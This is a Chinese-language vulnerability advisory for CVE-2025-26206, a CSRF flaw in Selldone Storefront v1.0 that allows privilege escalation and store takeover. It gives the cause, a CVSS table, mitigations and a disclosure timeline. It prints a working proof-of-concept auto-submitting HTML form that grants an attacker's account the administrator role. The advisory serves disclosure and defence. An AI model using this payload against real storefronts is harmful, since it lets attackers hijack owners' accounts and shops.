Selldone Storefront v1.0 中存在一个严重的跨站请求伪造(CSRF)漏洞,远程攻击者可通过诱骗已认证用户经由店面应用层执行状态变更请求来提升权限。该漏洞由 Sibhi Balamurugan(@xibhi)发现并负责任地披露。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-26206 |
| 类型 | 跨站请求伪造(CWE-352) |
| 产品 | Selldone Storefront |
| 受影响版本 | v1.0 |
| 组件 | index.html / 会话引导 |
| 影响 | 权限提升 / 店铺接管 |
| CVSS v3.1 | 9.0(严重) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| 发现者 | Sibhi Balamurugan(@xibhi) |
Selldone Storefront v1.0 在状态变更端点上缺少防 CSRF 令牌验证,并且认证 Cookie 在存储时未设置严格的跨站边界(省略了 SameSite)。
当已认证的店铺所有者或管理员访问攻击者控制的网页时,浏览器会自动将环境会话 Cookie 附加到跨源请求中,从而在未经受害者同意的情况下执行特权操作。
攻击者站点 → 受害者浏览器(持有会话)→ Selldone API(发送 Cookie,无 CSRF 检查)→ 角色被更改
攻击者托管一个恶意页面,其中包含一个自动提交的表单,目标为特权端点:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
当已认证的管理员访问该页面时,浏览器会使用其凭据提交该请求,从而提升攻击者账户的权限。
POST、PUT、DELETE、PATCH)要求提供经过验证的 X-CSRF-TOKEN 或同步器令牌。SameSite=Lax 或 SameSite=Strict,并同时设置 Secure 和 HttpOnly 标志。Origin 和 Referer 请求头。| 日期 | 里程碑 |
|---|---|
| 2025 年 2 月 | 发现并向厂商报告。 |
| 2025 年 2 月 24 日 | 发布初始公告。 |
| 2025 年 3 月 03 日 | NVD 发布条目。 |
| 2025 年 3 月 04 日 | NVD 评分 CVSS 9.0(严重)。 |
发现者:Sibhi Balamurugan(@xibhi)
本项目采用 MIT 许可证 授权。